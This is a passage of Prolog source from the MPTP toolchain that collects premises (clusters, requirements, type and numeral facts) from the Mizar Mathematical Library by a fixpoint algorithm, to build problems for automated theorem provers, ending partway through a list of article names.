AddedRefs).\n\nget_fraenkel_defs(RefsIn,SymsIn,AddedRefs):-\n\tget_sec_info_refs(RefsIn, SymsIn,\n\t\t\t  [mptp_info(_,_,fraenkel,_,_)|_], Refs1),\n\t(Refs1 = [] -> AddedRefs = [];\n\t    (memberchk(t2_tarski, RefsIn) -> AddedRefs = Refs1;\n\t\tAddedRefs = [t2_tarski|Refs1])).\n\nget_types(RefsIn,SymsIn,AddedRefs):-\n\tget_sec_info_refs(RefsIn, SymsIn,\n\t\t\t  [mptp_info(_,_,_,_,[ctype])|_], Refs1),\n\tget_sec_info_refs(RefsIn, SymsIn,\n\t\t\t  [mptp_info(_,_,constant,_,[_,type|_])|_], Refs2),\n\tget_sec_info_refs(RefsIn, SymsIn,\n\t\t\t  [mptp_info(_,_,functor,_,[scheme,type|_])|_], Refs3),\n\tflatten([Refs1, Refs2, Refs3], AddedRefs).\n\nget_equalities(RefsIn,SymsIn,AddedRefs):-\n\tget_sec_info_refs(RefsIn, SymsIn,\n\t\t\t  [mptp_info(_,_,constant,_,[_,equality|_])], AddedRefs).\n\n%% get functor definitions by 'equals' but only for articles\n%% mentioned in the 'definitions' env. declaration\nget_eq_defs(Files,RefsIn,SymsIn,AddedRefs):-\n\tfindall(Ref1, (member(Sym,SymsIn), fof_eq_def(Sym, Id),\n\t\t\t  clause(fof(Ref1,_,_,file(F,_),_),_,Id),\n\t\t\t  member(F,Files)), Refs1),\n\tsubtract(Refs1, RefsIn, AddedRefs).\n\n\n%% version for mizar_by and mizar_proof; mizar_proof should be\n%% enhanced a bit probably\n%% OldSyms are used only for clusters and requirements\none_pass(F,Pos,InfKind,RefsIn,OldSyms,NewSyms,ZeroedRefs,AddedRefs):-\n\tmember(InfKind,[mizar_by,mizar_proof]),\n\ttheory(F, Theory),\n\tmember(registrations(Regs),Theory),\n\tmember(requirements(Reqs),Theory),\n\tmember(definitions(Defs),Theory),\n\tget_properties(RefsIn,NewSyms,Refs0),\n\tget_existence(RefsIn,NewSyms,Refs1),\n\tget_redefinitions(RefsIn,NewSyms,Refs2),\n\tget_types(RefsIn,NewSyms,Refs3),\n\tget_equalities(RefsIn,NewSyms,Refs4),\n%% Refs5=[],\n\tget_clusters([F|Regs],Pos,RefsIn,OldSyms,NewSyms,Refs5),\n\tget_identifyexp([F|Regs],Pos,RefsIn,OldSyms,NewSyms,Refs5i),\n\tget_requirements(Reqs,RefsIn,OldSyms,NewSyms,ZeroedRefs,Refs6),\n\tget_fraenkel_defs(RefsIn,NewSyms,Refs7),\n\tget_eq_defs([F|Defs],RefsIn,NewSyms,Refs8),\n\tget_nr_types(Reqs,RefsIn,NewSyms,Refs9),\n\tflatten([Refs0,Refs1,Refs2,Refs3,Refs4,Refs5,Refs5i,Refs6,Refs7,Refs8,Refs9],\n\t\tAddedRefs).\n\n%% version for mizar_by and mizar_proof pruning\n%%  existence properties and clusters, and requirement flas.\n%%  -- just heuristical, quite often incomplete.\none_pass(F,Pos,mizar_no_existence,RefsIn,OldSyms,NewSyms,_ZeroedRefs,AddedRefs):-\n\ttheory(F, Theory),\n\tmember(registrations(Regs),Theory),\n\tmember(requirements(Reqs),Theory),\n\tmember(definitions(Defs),Theory),\n\tget_properties(RefsIn,NewSyms,Refs0),\n\tget_redefinitions(RefsIn,NewSyms,Refs2),\n\tget_types(RefsIn,NewSyms,Refs3),\n\tget_equalities(RefsIn,NewSyms,Refs4),\n%% Refs5=[],\n\tget_fc_clusters([F|Regs],Pos,RefsIn,OldSyms,NewSyms,Refs5),\n\tget_identifyexp([F|Regs],Pos,RefsIn,OldSyms,NewSyms,Refs5i),\n\tget_fraenkel_defs(RefsIn,NewSyms,Refs7),\n\tget_eq_defs([F|Defs],RefsIn,NewSyms,Refs8),\n\tget_nr_types(Reqs,RefsIn,NewSyms,Refs9),\n\tflatten([Refs0,Refs2,Refs3,Refs4,Refs5,Refs5i,Refs7,Refs8,Refs9],\n\t\tAddedRefs).\n\n\n%% version for mizar_from\n%% OldSyms are used only for clusters and requirements,\n%% fraenkel defs should not be needed --\n%% NO: unfortunately, fraenkel defs are needed, see e1_46__relset_2\n%% ###TODO: also another possible problem there: fraenkel definitions don't seem\n%%          to be instantiated properly in scheme instances\none_pass(F,Pos,mizar_from,RefsIn,OldSyms,NewSyms,_ZeroedRefs,AddedRefs):-\n\ttheory(F, Theory),\n\tmember(registrations(Regs),Theory),\n\tmember(requirements(Reqs),Theory),\n\tget_properties(RefsIn,NewSyms,Refs0),\n\tget_redefinitions(RefsIn,NewSyms,Refs2),\n\tget_types(RefsIn,NewSyms,Refs3),\n\tget_clusters([F|Regs],Pos,RefsIn,OldSyms,NewSyms,Refs5),\n\tget_identifyexp([F|Regs],Pos,RefsIn,OldSyms,NewSyms,Refs5i),\n\tget_nr_types(Reqs,RefsIn,NewSyms,Refs6),\n\tget_fraenkel_defs(RefsIn,NewSyms,Refs7),\n\tflatten([Refs0,Refs2,Refs3,Refs5,Refs5i,Refs6,Refs7], AddedRefs).\n\n\n%% fixpoint(+F,+Pos,+InfKind,+RefsIn,+OldSyms,+NewSyms,-RefsOut)\n%%\n%% Add symbol references until nothing added, OldSyms=[] when called first,\n%% it only serves during the recursion.\n%% fxp_refsin_/1 is an updated list of needed refs computed by the algo\n%% fxp_allsyms_/1 is an updated list of included symbols computed by the algo\n%% ###TODO: keep the refs of different kinds in separate lists,\n%%          so that the lookup using member/2 is not so expensive\n%%          (or just use the recorded db\nfixpoint(F,Pos,InfKind,RefsIn,[],NewSyms,RefsOut):-\n\tretractall(fxp_refsin_(_)),\n\tretractall(fxp_allsyms_(_)),\n\tfindall(d,(member(R,RefsIn),assert(fxp_refsin_(R))),_),\n\tfindall(d,(member(S,NewSyms),assert(fxp_allsyms_(S))),_),\n\tinit_fxp_sym_flags,\n\tfixpoint_(F,Pos,InfKind,RefsIn,[],NewSyms,RefsOut).\n\nfixpoint_(F,Pos,InfKind,RefsIn,OldSyms,NewSyms,RefsOut):-\n\tdecrease_fxp_sym_flags(NewSyms, ZeroedRefs),\n\tdbg(dbg_FIXPOINT,\n\t    (print(nEWSYMS(NewSyms, ZeroedRefs)),nl)),\n\tone_pass(F, Pos, InfKind, RefsIn, OldSyms, NewSyms, ZeroedRefs, Refs1), !,\n\t(\n\t  Refs1 = [] ->\n\t  (\n\t    (\n%%\t      member(opt_FXP_CHECK_CNSDR, Options),\n\t      member(InfKind,[mizar_by,mizar_proof]),\n\t      get_consider_empty_justif_types(RefsIn, ConsEmptyJustifTypes),\n\t      ConsEmptyJustifTypes = [_ | _]\n\t    ) ->\n\t    findall(ConsInfo,\n\t\t    (\n\t\t      member(ConsType, ConsEmptyJustifTypes),\n\t\t      create_type_info_for_consider(ConsType, ConsInfo)\n\t\t    ),\n\t\t    ConsInfos0\n\t\t  ),\n\t    sort(ConsInfos0, ConsInfos),\n\t    union(OldSyms, NewSyms, AllSyms),\n\t    add_rclusters_for_unhandled(F, Pos, RefsIn, AllSyms, ConsInfos, NewRClusters),\n\t    union(RefsIn, NewRClusters, RefsOut)\t    \n\t  ;\n\t    RefsOut = RefsIn\n\t  )\n\t;\n\t  union(Refs1, RefsIn, Refs2),\n\t  findall(d,(member(R,Refs1),assert(fxp_refsin_(R))),_),\n\t  union(OldSyms, NewSyms, OldSyms1),\n\t  maplist(get_ref_fla, Refs1, Flas1),\n\t  collect_symbols_top(Flas1, Syms1),\n\t  subtract(Syms1, OldSyms1, NewSyms1),\n\t  findall(d,(member(S,NewSyms1),assert(fxp_allsyms_(S))),_),\n\t  fixpoint_(F, Pos, InfKind, Refs2, OldSyms1, NewSyms1, RefsOut)\n\t).\n\n\n%% create_type_info_for_consider(ConsType, -ConsInfo)\n%%\ncreate_type_info_for_consider(ConsType, ConsInfo):-\n\tconstr2list('&', _Last, AndList, ConsType),!,\n\tprocess_attrsmode_list_for_cons(AndList, ConsAttrs0, Radix),\n\tcreate_cons_info(ConsAttrs0, Radix, ConsInfo).\n\ncreate_cons_info(ConsAttrs0, Radix, ConsInfo):-\n\t(\n\t  Radix = $true ->\n\t  ConsMode = $true,\n\t  ConsFuncs = []\n\t;\n\t  Radix =.. [ConsMode | Args],\n\t  collect_symbols_top(Args, RadixArgSyms),\n\t  sublist(mptp_func_sym, RadixArgSyms, ConsFuncs0),\n\t  sort(ConsFuncs0, ConsFuncs)\n\t),\n\tlength(ConsFuncs, ConsFuncsNr),\n\tsort(ConsAttrs0, ConsAttrs),\n\tlength(ConsAttrs, ConsAttrsNr),\n\tConsInfo = [ConsMode, ConsFuncsNr, ConsAttrsNr, ConsFuncs, ConsAttrs],!.\n\n%% process_attrsmode_list_for_cons(+AndList, -ConsAttrs0, -Radix),\n%%\n%% Expects a list possibly ending with a radix. Converts the negated atributes\n%% to 'w'-symbols, and forgest their arguments. If there is no radix, it\n%% pretends to be $true\nprocess_attrsmode_list_for_cons([AttrTermOrRadix | Rest], [ AttrSym | ConsAttrsRest], Radix):-\n\tprocess_attrterm_for_cons(AttrTermOrRadix, AttrSym), !,\n\tprocess_attrsmode_list_for_cons(Rest, ConsAttrsRest, Radix).\n\nprocess_attrsmode_list_for_cons([Radix], [], Radix).\nprocess_attrsmode_list_for_cons([], [], $true).\n\n\n%% process_attrterm_for_cons(+AttrTerm, -AttrSym)\nprocess_attrterm_for_cons(~(AttrTerm), NegAttrSym):- !,\n\tAttrTerm =.. [PosAttrSym | _],\n\tensure(atom_chars(PosAttrSym, [v | Rest]), process_attrterm_for_cons),\n\tatom_chars(NegAttrSym, [ w | Rest]), !.\n\nprocess_attrterm_for_cons(AttrTerm, PosAttrSym):-\n\tAttrTerm =.. [PosAttrSym | _],\n\tatom_chars(PosAttrSym, [v | _]).\n\n\n%% get_current_rclusters(+RefsIn, ?Rclusters)\n%%\nget_current_rclusters(RefsIn, Rclusters):-\n\tsublist(ref_is_rcluster, RefsIn, Rclusters).\n\n%% rcluster_covers_consider(+RCl, [+ConsMode, +ConsFuncsNr, +ConsAttrsNr, +ConsFuncs, +ConsAttrs])\n%%\n%% Ensure that all attributes in the consider are also in the rcluster,\n%% that the rcluster's mode is same as in consider, and that all\n%% functors in the rcluster are also in the consider.\n%% Note if we know all this, the additional condition for the consider to be\n%% fully covered by the rcluster is just that ConsFuncsNr = FuncsNr.\n%% ###TODO: if this is still too weak, take care also of the context vars/consts on\n%%          which the rcluster/consider depends.\nrcluster_covers_consider(RCl, ConsInfo):-\n\tConsInfo = [ConsMode, ConsFuncsNr, ConsAttrsNr, ConsFuncs, ConsAttrs],\n\trc_syms_for_consider(RCl, _File, ConsMode, FuncsNr, AttrsNr, FuncSyms, AttrSyms),\n\tFuncsNr =< ConsFuncsNr,\n\tConsAttrsNr =< AttrsNr,\n\tsubset(FuncSyms, ConsFuncs),\n\tsubset(ConsAttrs, AttrSyms),!.\n\n\n%% get_covered_consider(+Rclusters, +ConsInfos, -Covered)\n%%\n%% Select the ConsInfos covered by some of Rclusters into Covered.\n%% We don't have to check the file and position here - it has already been checked\n%% at this point.\n%% Note that we use setof, to only check Rclusters until we find the first covering\n%% for a particul ConsInfo.\nget_covered_consider(Rclusters, ConsInfos, Covered):-\n\tsetof(ConsInfo,\n\t\t(\n\t\t  member(ConsInfo, ConsInfos),\n\t\t  member(RCl, Rclusters),\n\t\t  rcluster_covers_consider(RCl, ConsInfo)\n\t\t),\n\t      Covered),!.\n\n%% to fix the failure above when the setof is empty\nget_covered_consider(_Rclusters, _ConsInfos, []).\n\n\n%% get_first_rcluster_cover(+Rclusters, +ConsInfo, -RCl):-\nget_first_rcluster_cover(Rclusters, ConsInfo, RCl):-\n\tmember(RCl, Rclusters),\n\trcluster_covers_consider(RCl, ConsInfo), !.\n\n%% as a first hack, no optimization here;\n%% ##TODO: optimize this better, using ALGO above\ncover_remaining_consider(Rclusters, ConsInfos, Covered, Covering):-\n\tfindall([ConsInfo,RCl],\n\t\t(\n\t\t  member(ConsInfo, ConsInfos),\n\t\t  get_first_rcluster_cover(Rclusters, ConsInfo, RCl)\n\t\t),\n\t\tRes),\n\tzip(Covered, Covering, Res).\n\n%% get_eligible_rclusters(+File, +Pos, +CurrentRclusters, -Eligible)\n%%\n%% Get rclusters usable for File and Pos, and not included in CurrentRclusters.\nget_eligible_rclusters(F, Pos, CurrentRclusters, Eligible):-\n\ttheory(F, Theory),\n\tmember(registrations(Regs),Theory),\n\tfindall(Ref1,\n\t\t(\n\t\t  member(F1,[F|Regs]),\n\t\t  fof_cluster(F1,Ref1,_),\n\t\t  atom_chars(Ref1,[r|_]),\n\t\t  check_cluster_position(F,Pos,F1,Ref1),\n\t\t  not(member(Ref1, CurrentRclusters))\n\t\t  %% this is faster but a bit hackier way at this point:\n%%\t\t  not(fxp_refsin_(Ref1))\n\t\t),\n\t\tEligible).\n\n%% add_rclusters_for_unhandled(+F, +Pos, +RefsIn, +AllSyms, +ConsInfos, -NewRClusters)\n%%\n%% Finish the fixpoint algo by finding NewRClusters needed for considers with\n%% empty justifications (passed already preprocessed as ConsInfos).\n%% ##TODO: add some debug info, when not all ConsInfos are covered.\n%%\n%% Longer & older rant:\n%%\n%% Add needed rclusters for ConsInfos coming from consider justifications.\n%% Each\tConsInfo has the form [ConsMode, ConsFuncsNr, ConsAttrsNr, ConsFuncs, ConsAttrs],\n%% and we require thet the ConsMode and the ConsAttrs be covered by som rcluster\n%% If an appropriate rcluster is in RefsIn, we use it, otherwise we try to add\n%% rcluster constrained by F's theory and position Pos.\n%% We are intentionally not looking for additional mode existence fofs, because they\n%% should already be there.\n%% We need the following info about rclusters for this:\n%% - which symbols certainly have to be present in the consider statement:\n%%         the mode symbol, and the functor symbols in the rcluster\n%% - which symbols form the upper bound, and we only require that the\n%%         consider statement does not contain more than them:\n%%         the attributes forming the proper cluster, could be also\n%%         with functors, but the functors will be present in the mode\n%%         anyway, so we don't need them; we however need the polarity\n%%         (could be done by using  the 'w' version of the symbol for negation)\n%% Indexing requirements: we have to ensure that all attributes in the consider are\n%%         also in the rcluster; but typically, we'll have many rclusters, and just a few\n%%         considers to deal with; so we'll just prune the rclusters by the mode & functor\n%%         syms, and then check each rcluster's attrs for being superset of the consider's\n%%         attrs; finally, we should also collect the optional info whether all consider's functor\n%%         syms are covered by the rcluster\n%% following indexing is used:\n%%     rc_syms_for_consider(+RCl, -File, -ConsMode, -FuncsNr, -AttrsNr, -FuncSyms, -AttrSyms)\n%% ##PROBLEM: redefinitions could mess things, e.g. the FuncSyms might differ; ignore now.\n%% ##ALGO: each SymPair which is not covered by RefsIn increases the \"cover count\" for\n%%         all eligible rclusters which cover it, and is added to their \"cover list\".\n%%         Then we greedily choose the rclusters with largest \"cover count\", until\n%%         all SymPairs are covered. (not done yet: This is attempted first in the \"Func-mode\",\n%%         i.e. trying to use only rclusters that cover the SymPair also with its\n%%         FuncSyms, and only with the remaining clusters we try in the AttrOrModeSyms\n%%         only.)\nadd_rclusters_for_unhandled(F, Pos, RefsIn, _AllSyms, ConsInfos, NewRClusters):-\n\tget_current_rclusters(RefsIn, CurrentRclusters),\n\tget_covered_consider(CurrentRclusters, ConsInfos, Covered),\n\tsubtract(ConsInfos, Covered, Uncovered),\n\t(\n\t  Uncovered = [] ->\n\t  NewRClusters = []\n\t;\n\t  get_eligible_rclusters(F, Pos, CurrentRclusters, Eligible),\n\t  cover_remaining_consider(Eligible, Uncovered, _NewlyCovered, NewRClusters)\n\t).\n\n\nfixpoint_old(F,Pos,InfKind,RefsIn,OldSyms,NewSyms,RefsOut):-\n\tdecrease_fxp_sym_flags(NewSyms, ZeroedRefs),\n\tone_pass(F, Pos, InfKind, RefsIn, OldSyms, NewSyms, ZeroedRefs, Refs1), !,\n\t(\n\t  Refs1 = [] ->\n\t  RefsOut = RefsIn\n\t;\n\t  union(Refs1, RefsIn, Refs2),\n\t  union(OldSyms, NewSyms, OldSyms1),\n\t  maplist(get_ref_fla, Refs1, Flas1),\n\t  collect_symbols_top(Flas1, Syms1),\n\t  subtract(Syms1, OldSyms1, NewSyms1),\n\t  fixpoint_old(F, Pos, InfKind, Refs2, OldSyms1, NewSyms1, RefsOut)\n\t).\n\n%% antecedent symbols needed for fcluster or ccluster\ncl_needed_syms_top(Fla,Syms):-\n\tcl_needed_syms(Fla,Syms1),\n\tlogic_syms(Syms2),\n\tsubtract(Syms1, Syms2, Syms), !.\ncl_needed_syms( ! Svars : Fla, AnteSyms):- !,\n\tcollect_symbols_top(Svars, Syms1),\n\tcl_needed_syms(Fla, Syms2),\n\tunion(Syms1, Syms2, AnteSyms).\ncl_needed_syms( sort(_,Ante) => sort(_,_), AnteSyms):- !, collect_symbols_top(Ante, AnteSyms).\ncl_needed_syms( sort(Trm,_), AnteSyms):- !, collect_symbols_top(Trm, AnteSyms).\n%% should not get here\ncl_needed_syms(_,_):- throw(cluster).\n\n%% return the level on which cluster must not be used\n%% used also for identifyexp\nget_cluster_proof_level(Ref,Lev):-\n\tfof_name(Ref, Id),!,\n\tclause(fof(Ref,_,_,_,[Info|_]), _, Id),\n\tInfo = mptp_info(_,[],_,_,[proof_level(Lev)|_]), ! .\n\nget_cluster_proof_level(Ref,_):-\n\tthrow(get_cluster_proof_level(Ref)).\n\n%% Check that cluster is applicable to [Pos1,Lev1] .\n%% Only relevant if from the same file,\n%% The calling code has to ensure correctness for different files.\n%% Used also for identifyexp.\ncheck_cluster_position(F,[Pos1,Lev1],F,Ref2):- !,\n\tensure(article_position(Ref2,Pos2), throw(article_position2(F,Ref2))),\n\tdbg(dbg_CLUSTERS,\n\t    format('Considering cluster: ~w,~w, position: ~w with [~w,~w] ~n',\n\t\t   [Ref2,F,Pos2,Pos1,Lev1])),\n\tPos2 < Pos1,\n\tget_cluster_proof_level(Ref2,Lev2),\n\tdbg(dbg_CLUSTERS, format('Cluster proof level: ~w', [Lev2])),\n\tnot(sublevel(Lev1, Lev2)),\n\tdbg(dbg_CLUSTERS, format('cluster succeeded ~n')).\n\ncheck_cluster_position(F,P,F,_):- throw(check_cluster_position(F,P)).\ncheck_cluster_position(_,_,_,_).\n\n%% fof_cluster contains precomputed info\n%% assumes that F is the current article\nget_clusters([F|Regs],Pos,_RefsIn,_OldSyms,_NewSyms,AddedRefs):-\n\tfindall(Ref1, (member(F1,[F|Regs]),\n\t\t\t  fof_cluster(F1,Ref1,AnteSyms),\n\t\t\t  check_cluster_position(F,Pos,F1,Ref1),\n\t\t\t  not(fxp_refsin_(Ref1)),\n\t\t\t  checklist(fxp_allsyms_,AnteSyms)),\n\t\tAddedRefs1),\n\tsort(AddedRefs1,AddedRefs).\n\n%% as get_clusters, but only conditional and functor clusters\n%% (i.e. avoids existential ones)\nget_fc_clusters([F|Regs],Pos,_RefsIn,_OldSyms,_NewSyms,AddedRefs):-\n\tfindall(Ref1, (member(F1,[F|Regs]),\n\t\t\t  fof_cluster(F1,Ref1,AnteSyms),\n\t\t\t  atom_chars(Ref1,[Char|_]),\n\t\t\t  member(Char,[c,f]),\n\t\t\t  check_cluster_position(F,Pos,F1,Ref1),\n\t\t\t  not(fxp_refsin_(Ref1)),\n\t\t\t  checklist(fxp_allsyms_,AnteSyms)),\n\t\tAddedRefs1),\n\tsort(AddedRefs1,AddedRefs).\n\n%% old slow versions\nget_clusters_old([F|Regs],Pos,RefsIn,OldSyms,NewSyms,AddedRefs):-\n\tunion(OldSyms, NewSyms, AllSyms),\n\tfindall(Ref1, (member(F1,[F|Regs]),\n\t\t\t  fof_cluster(F1,Ref1,AnteSyms),\n\t\t\t  check_cluster_position(F,Pos,F1,Ref1),\n\t\t\t  not(member(Ref1, RefsIn)),\n\t\t\t  subset(AnteSyms, AllSyms)),\n\t\tAddedRefs).\n\nget_fc_clusters_old([F|Regs],Pos,RefsIn,OldSyms,NewSyms,AddedRefs):-\n\tunion(OldSyms, NewSyms, AllSyms),\n\tfindall(Ref1, (member(F1,[F|Regs]),\n\t\t\t  fof_cluster(F1,Ref1,AnteSyms),\n\t\t\t  atom_chars(Ref1,[Char|_]),\n\t\t\t  member(Char,[c,f]),\n\t\t\t  check_cluster_position(F,Pos,F1,Ref1),\n\t\t\t  not(member(Ref1, RefsIn)),\n\t\t\t  subset(AnteSyms, AllSyms)),\n\t\tAddedRefs).\n\n%% fof_identifyexp contains precomputed info\n%% assumes that F is the current article\nget_identifyexp([F|Regs],Pos,_RefsIn,_OldSyms,_NewSyms,AddedRefs):-\n\tfindall(Ref1, (member(F1,[F|Regs]),\n\t\t\t  fof_identifyexp(F1,Ref1,AnteSyms),\n\t\t\t  check_cluster_position(F,Pos,F1,Ref1),\n\t\t\t  not(fxp_refsin_(Ref1)),\n\t\t\t  checklist(fxp_allsyms_,AnteSyms)),\n\t\tAddedRefs1),\n\tsort(AddedRefs1,AddedRefs).\n\n%% there are now 7469 requirements arithm (MML 930)\nget_requirements(Files,_RefsIn,_OldSyms,_NewSyms,ZeroedRefs,AddedRefs):-\n\tfindall(Ref1, (\n\t\t\tmember(Ref1, ZeroedRefs),\n\t\t\tfof_ante_sym_cnt(Ref1,F1,req,_),\n\t\t\tmember(F1,Files),\n\t\t\tnot(fxp_refsin_(Ref1)),\n\t\t\t%% check that all symbols of Ref1 are indeed\n\t\t\t%% in fxp_allsyms_, complain if not\n\t\t\tdbg(dbg_REQS,\n\t\t\t    (fof_req(F1,Ref1,Syms1),\n\t\t\t\t(checklist(fxp_allsyms_,Syms1) -> true;\n\t\t\t\t    findall(S,(member(S,Syms1),not(fxp_allsyms_(S))),Failed),\n\t\t\t\t    print(sUCKERS(Ref1,Failed)),nl)))\n\t\t      ),\n\t\tAddedRefs1),\n\tfindall(Ref2, (\n\t\t\tmember(F2,Files),\n\t\t\thard_wired_req(F2,Ref2,Syms),\n\t\t\tnot(fxp_refsin_(Ref2)),\n\t\t\tchecklist(fxp_allsyms_,Syms)\n\t\t      ),\n\t\tAddedRefs2),\n\t%% need to remove multiples introduced by hard_wired_req\n\tappend(AddedRefs1, AddedRefs2, AddedRefs3),\n\tsort(AddedRefs3, AddedRefs).\n\nget_requirements_old1(Files,_RefsIn,_OldSyms,_NewSyms,_ZeroedRefs,AddedRefs):-\n\tfindall(Ref1, (\n\t\t\tmember(F1,Files),\n\t\t\t(fof_req(F1,Ref1,Syms); hard_wired_req(F1,Ref1,Syms)),\n\t\t\tnot(fxp_refsin_(Ref1)),\n\t\t\tchecklist(fxp_allsyms_,Syms)\n\t\t      ),\n\t\tAddedRefs1),\n\t%% need to remove multiples introduced by hard_wired_req\n\tsort(AddedRefs1, AddedRefs).\n\n%% old slow version\nget_requirements_old(Files,RefsIn,OldSyms,NewSyms,_ZeroedRefs,AddedRefs):-\n\tunion(OldSyms, NewSyms, AllSyms),\n\tfindall(Ref1, (member(F1,Files),\n\t\t\t  (fof_req(F1,Ref1,Syms);\n\t\t\t      hard_wired_req(F1,Ref1,Syms)\n\t\t\t  ),\n\t\t\t  not(member(Ref1, RefsIn)),\n\t\t\t  subset(Syms, AllSyms)),\n\t\tAddedRefs1),\n\t%% need to remove multiples introduced by hard_wired_req\n\tsort(AddedRefs1, AddedRefs).\n\n\n%% get references for types of numbers\nget_nr_types(Files,RefsIn,NewSyms,AddedRefs):-\n\tfindall(Ref1, (member(F1,Files),\n\t\t\t  member(N,NewSyms),\n\t\t\t  integer(N),\n\t\t\t  get_nr_type(F1,N,Ref1),\n\t\t\t  not(member(Ref1, RefsIn))),\n\t\tAddedRefs).\n\n%% get the type formula for numbers added by a requirement File\n%% possibly create and index the fof, if not existing yet\nget_nr_type(File,N,Name):-\n\tmember(File, [boole,numerals]),\n\tinteger(N),\n\tconcat_atom([spc,N,'_',File],Name),\n\t(fof_name(Name,_),!\n\t;\n\t    get_nr_fof(File,N,Res),\n\t    Res = fof(Name,_,_,_,_),\n\t    assert(Res,Id),\n\t    assert(fof_name(Name,Id)),\n\t    assert(fof_section(Name,Id))\n\t).\n\n\n%% the (non)zerotyp added by requirements numeral\nspec_num_type(0,_,(sort(0,(m2_subset_1(k1_numbers, k5_numbers)))\n\t\t & sort(0,(m1_subset_1(k5_numbers)))\n\t\t & sort(0,(m1_subset_1(k1_numbers))))) :- !.\n\nspec_num_type(N,MmlVersion,(sort(N,(IsPositive & m2_subset_1(k1_numbers, k5_numbers)))\n\t\t & sort(N,(m1_subset_1(k5_numbers)))\n\t\t & sort(N,(m1_subset_1(k1_numbers))))):- req_Positive(MmlVersion,IsPositive).\n\n\n\n%% ###TODO: change this system to the one used for assert_arith_evals\n\nget_nr_fof(boole,0,fof(spc0_boole,theorem, sort(0, v1_xboole_0),\n\t       file(boole,spc0_boole),\n\t       [mptp_info(0,[],theorem,position(0,0),[0])])).\nget_nr_fof(boole,N,Res):-\n\tinteger(N), N > 0, concat_atom([spc,N,'_boole'],Name),\n\tRes= fof(Name,theorem, sort(N, ~(v1_xboole_0)),\n\t\t file(boole,Name),[mptp_info(0,[],theorem,position(0,0),[0])]).\n\n%% positive Element of omega; for 0, Element of omega is ensured by NUMERALS:1\n%% ##TODO: it seems that this can become the redefined Element of NAT (widening to REAL)\n%%         see iocorrel:Load_EnvConstructors\n%% that may be needed for adding the 'complex' attribute, using\n%% cluster   -> complex Element of REAL ;\n%%\n%% ##NOTE: the .zrt files will not be used; if the (non)zerotyp/2 predicates are\n%%         needed, they will be created by looking at requirements directives of the article\n%% The reason for not using custom (non)zerotyp (with upper cluster) is that the naming of\n%% such formulas becomes either inconsistent (different flas with the same name), or\n%% unstable (different name for the same fla).\n%% Following test should fail; if it does not fail, we should fix the default type.\n%% ##TEST: :- zerotyp(AR,K),AR \\= numbers, constr2list(A, X, L,K),X\\=m2_subset_1(k1_numbers, k5_numbers),theory(AR,T),member(requirements(R),T),member(numerals,R).\n\n%% done below now\n%% get_nr_fof(numerals,0,fof(spc0_numerals,theorem,sort(0,m2_subset_1(k1_numbers, k5_numbers)),\n%% \t\t\t  file(numerals,spc0_numerals),\n%% \t\t\t  [mptp_info(0,[],theorem,position(0,0),[0])])).\n\n%% ##NOTE: we have to add the original type explicitly here, and also the supertype,\n%%    because the redefinition subset_1.html#M2 requires nonemptiness of NAT,\n%%    and e.e. in square_1 this is not known. Mizar uses the redefined version anyway,\n%%    which seems to automatically make also the original version available.\n%% ###TODO: have a closer look at this redefinition issue; it ptobably caused also\n%%          the incomplete bg in one MPTP Challenge problem.\nget_nr_fof(numerals,N,Res):-\n\tinteger(N),\n\tmml_version(MmlVersion),\n\tspec_num_type(N,MmlVersion,NumType),\n%%\tN > 0,\n\tconcat_atom([spc,N,'_numerals'],Name),\n\tRes= fof(Name,theorem,NumType,\n\t\t file(numerals,Name),\n\t\t [mptp_info(0,[],theorem,position(0,0),[0])]).\n\n%% these requirements need to be hard-wired, because not all syms\n%% are needed to fire; therefore they do not need to bee asserted\n%% during the normal processing (but are now)\n\n%% t6_boole: b1 is empty implies b1 = {}\nhard_wired_req(boole,t6_boole,[v1_xboole_0]).\nhard_wired_req(boole,t6_boole,[k1_xboole_0]).\n\n%% t7_boole: not ( b1 in b2 & b2 is empty )\nhard_wired_req(boole,t7_boole,[v1_xboole_0]).\nhard_wired_req(boole,t7_boole,[r2_hidden]).\n\n%% t1_subset: b1 in b2 implies b1 is Element of b2\nhard_wired_req(subset,t1_subset,[r2_hidden]).\n\n%% t2_subset: b1 is Element of b2 implies (b2 is empty or b1 in b2)\nhard_wired_req(subset,t2_subset,[m1_subset_1,v1_xboole_0]).\n\n%% t3_subset: b1 is Subset of b2 iff b1 c= b2\nhard_wired_req(subset,t3_subset,[r1_tarski]).\nhard_wired_req(subset,t3_subset,[m1_subset_1,k1_zfmisc_1]).\n\n%% other requirements:\n%% - 2 distinct numerals are not equal\n%% - functor rqImaginaryUnit (k1_xcmplx_0) equals to i (what is i? - I'll ignore\n%%   \"complex numerals\" in the first version probably\n%% - +,*,-/1, 1/x, -/2,/ evaluation (rqRealAdd, rqRealMult, rqRealNeg, rqRealInv,\n%%                 rqRealDiff, rqRealDiv -\n%%         - k2_xcmplx_0, k3_xcmplx_0, k4_xcmplx_0, k5_xcmplx_0, k6_xcmplx_0, k7_xcmplx_0)\n%%   special cases for 0 and 1 mentioned in arithm.miz\n\n\n%%%%%%%%%%%%%%%%%%%% Problem creation for many articles %%%%%%%%%%%%%%%%%%%%\n\nfirst100([\n\t  xboole_0,boole,xboole_1,enumset1,zfmisc_1,subset_1,subset,relat_1,\n\t  funct_1,grfunc_1,relat_2,ordinal1,wellord1,setfam_1,relset_1,partfun1,\n\t  mcart_1,wellord2,funct_2,funct_3,domain_1,binop_1,funcop_1,funct_4,\n\t  ordinal2,ordinal3,arytm_3,arytm_2,arytm_1,finset_1,finsub_1,setwiseo,\n\t  fraenkel,\n\t  numbers,arytm_0,numerals,xcmplx_0,arithm,xreal_0,real,xcmplx_1,\n\t  xreal_1,axioms,real_1,square_1,nat_1,int_1,rat_1,binop_2,membered,\n\t  complex1,absvalue,card_1,finseq_1,zf_lang,zf_model,zf_colla,orders_1,\n\t  eqrel_1,funct_5,card_2,trees_1,finseq_2,recdef_1,classes1,card_3,\n\t  classes2,ordinal4,finseq_3,zfmodel1,zf_lang1,zf_refle,zfrefle1,qc_lang1,\n\t  qc_lang2,qc_lang3,cqc_lang,pboole,seq_1,seq_2,prob_1,wellset1,seqm_3,\n\t  seq_4,real_2,margrel1,prob_2,rcomp_1,multop_1,mcart_2,mcart_3,mcart_4,\n\t  mcart_5,mcart_6,finseq_4,finseqop,finsop_1,setwop_2]).\n\n%% articles in which at least one scheme is proved\nscheme_articles([\n\t\t abcmiz_0, afinsq_1, algseq_1, altcat_1, altcat_2,\n\t\t ami_3, ami_4, armstrng, arytm_3, asympt_0, bhsp_4, binarith, binom,\n\t\t binop_1, binop_2, bintree1, bintree2, birkhoff, borsuk_2, 